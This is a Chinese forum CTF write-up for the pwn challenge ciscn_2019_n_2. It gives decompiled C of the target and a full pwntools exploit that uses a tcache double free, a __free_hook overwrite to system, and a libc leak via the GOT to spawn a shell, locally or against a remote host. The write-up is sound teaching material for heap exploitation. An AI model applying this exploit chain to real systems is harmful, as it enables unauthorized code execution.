kone 发表于 2020-11-24 14:29:25

2019_pwn_ciscn_2019_n_2 writeup by kone

思路:
deleteUser存在double free漏洞;

1.malloc 1次后,free 2次,再重新malloc;
2.然后修改fd指针,指向bss段的chunkList,构造fake chunk,实现任意地址写;
3.输出free got地址后,获取libc地址;
4.设置__free_hook内容为system()函数地址;
5.尝试调用free("/bin/sh"),实际上是调用system("/bin/sh"),从而拿到shell。


注意:
1.tcache直接free 2次就可以,并没有做检查(高版本glibc会检查double free);
2.因为开启了Full RELRO,所以无法修改GOT表;


EXP:#-*- coding:utf-8 -*-
"""
// ciscn_2019_pwn_n-2 https://www.xuenixiang.com/ctfexercise-competition-417.html
int dispMenu()
{
puts("$$$$$$$");
puts("$       Baby Tcache       $");
puts("$$$$$$$");
puts("$   1. Create user      $");
puts("$   2. Delete user      $ ");
puts("$   3. Edit user          $ ");
puts("$   4. Display user       $ ");
puts("$   5. Add money          $ ");
puts("$   6. Buy gift         $ ");
puts("$   7. Exit               $ ");
puts("$$$$$$$");
return printf("Your choice: ");
}

int createUser()
{
__int64 v1; // rbx
unsigned int v2; //
signed int i; //

for ( i = 0; i <= 2; ++i )
{
    if ( !LODWORD(chunkList) )
    {
      v2 = i;
      break;
    }
    if ( i == 2 )
      return MEMORY(":(");
}
chunkList = malloc(0x18uLL);
printf("name:");
myRead((void *)chunkList, 8);
printf("age:", 8LL);
v1 = chunkList;
*(_QWORD *)(v1 + 16) = readNum();
*(_QWORD *)(chunkList + 8LL) = 0LL;
LODWORD(chunkList) = 1;
return printf("idx: %d\n", v2);
}

int deleteUser()
{
signed int v1; //

printf("Index:");
v1 = readNum();
if ( v1 > 2 || v1 < 0 )
    exit(1);
if ( !chunkList )
    return puts(":(");
free((void *)chunkList);
LODWORD(chunkList) = 0;
return puts(":)");
}

int editUser()
{
const char *v0; // rbx
signed int v2; //

printf("Index:");
v2 = readNum();
if ( v2 > 2 || v2 < 0 )
    exit(1);
if ( !chunkList || !LODWORD(chunkList) )
    return puts(":(");
printf("name:");
myRead(chunkList, 8LL);
printf("age:");
v0 = chunkList;
*((_QWORD *)v0 + 2) = readNum();
return puts(":)");
}

int printUser()
{
signed int v1; //

printf("Index:");
v1 = readNum();
if ( v1 > 3 || v1 < 0 )
    exit(1);
if ( !chunkList || !LODWORD(chunkList) )
    return puts(":(");
puts("------------------------");
printf("name: ");
puts(chunkList);
printf("age: %lld\nmoney: %lld\n", *((_QWORD *)chunkList + 2), *((_QWORD *)chunkList + 1));
puts("------------------------");
return puts(":)");
}

int addMoney()
{
signed int v1; //

printf("Index:");
v1 = readNum();
if ( v1 > 2 || v1 < 0 )
    exit(1);
if ( !chunkList )
    return puts(":(");
++*((_QWORD *)chunkList + 1);
return puts(":)");
}

int buyGift()
{
int v1; //
int v2; //
void *buf; //

printf("Index:");
v2 = readNum();
if ( v2 > 2 || v2 < 0 )
    exit(1);
if ( !chunkList || *((_QWORD *)chunkList + 1) <= 0x100000LL )
    return puts(":(");
printf("input the address you want to leak:");
_isoc99_scanf("%p", &buf);
printf("input the size you want to leak:");
_isoc99_scanf("%d", &v1);
printf("data:[[[");
write(1, buf, v1);
puts("]]]\n");
return puts(":)");
}

// name (8Byte)
// money (8Byte)
// age(8Byte)

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; //

initIO(*(_QWORD *)&argc, argv, envp);
while ( 1 )
{
    while ( 1 )
    {
      while ( 1 )
      {
      while ( 1 )
      {
          while ( 1 )
          {
            while ( 1 )
            {
            while ( 1 )
            {
                dispMenu();
                v4 = readNum();
                if ( v4 != 1 )
                  break;
                createUser();
            }
            if ( v4 != 2 )
                break;
            deleteUser();
            }
            if ( v4 != 3 )
            break;
            editUser();
          }
          if ( v4 != 4 )
            break;
          printUser();
      }
      if ( v4 != 5 )
          break;
      addMoney();
      }
      if ( v4 != 6 )
      break;
      buyGift();
    }
    if ( v4 == 7 )
      break;
    puts("Invalid Choice");
}
return 0;
}

ssize_t __fastcall myRead(void *a1, int a2)
{
return read(0, a1, a2);
}

__int64 readNum()
{
__int64 result; // rax
__int64 v1; // rdx
unsigned __int64 v2; // rt1
char nptr; //
unsigned __int64 v4; //

v4 = __readfsqword(0x28u);
myRead(&nptr, 16LL);
result = atoll(&nptr);
v2 = __readfsqword(0x28u);
v1 = v2 ^ v4;
if ( v2 != v4 )
    __stack_chk_fail(&nptr, 16LL, v1);
return result;
}
"""

from pwn import *
from LibcSearcher import *
import sys

context(os="linux", log_level="debug")

if len(sys.argv) == 2:
        p = process(sys.argv)
elif len(sys.argv) == 3:
        p = remote(sys.argv, sys.argv)
else:
    print("Usage: exp.py [./a.out | 1.1.1.1 23456]")
    exit(1)

def create(name, age):
    p.sendlineafter("Your choice: ", "1")
    p.sendafter("name:", name)
    p.sendlineafter("age:", str(age))

def edit(idx, name, age):
    p.sendlineafter("Your choice: ", "3")
    p.sendlineafter("Index:", str(idx))
    p.sendafter("name:", name)
    p.sendlineafter("age:", str(age))

def delete(idx):
    p.sendlineafter("Your choice: ", "2")
    p.sendlineafter("Index:", str(idx))

def show(idx):
    p.sendlineafter("Your choice: ", "4")
    p.sendlineafter("Index:", str(idx))

def addm(idx):
    p.sendlineafter("Your choice: ", "5")
    p.sendlineafter("Index:", str(idx))

chunklist_addr = 0x602060
free_got = 0x601f88

create('a', 1) # 0
delete(0)
delete(0)

create(p64(chunklist_addr), 1) # 0
create(p64(chunklist_addr), 1) # 1
create(p64(free_got), 1) # 2

addm(2)

show(0)

p.recvuntil("name: ")
free_addr = u64(p.recvline(keepends=False).ljust(8, '\x00'))
print(hex(free_addr))
p.recvuntil(":)\n")

libc = LibcSearcher("free", free_addr)
libc_base = free_addr - libc.dump("free")
system_addr = libc_base + libc.dump("system")
free_hook = libc_base + libc.dump("__free_hook")

edit(2, p64(free_hook), 1)
edit(0, p64(system_addr), 1)

edit(2, "/bin/sh\x00", 1)

delete(2)

p.interactive()


页: [1]
查看完整版本: 2019_pwn_ciscn_2019_n_2 writeup by kone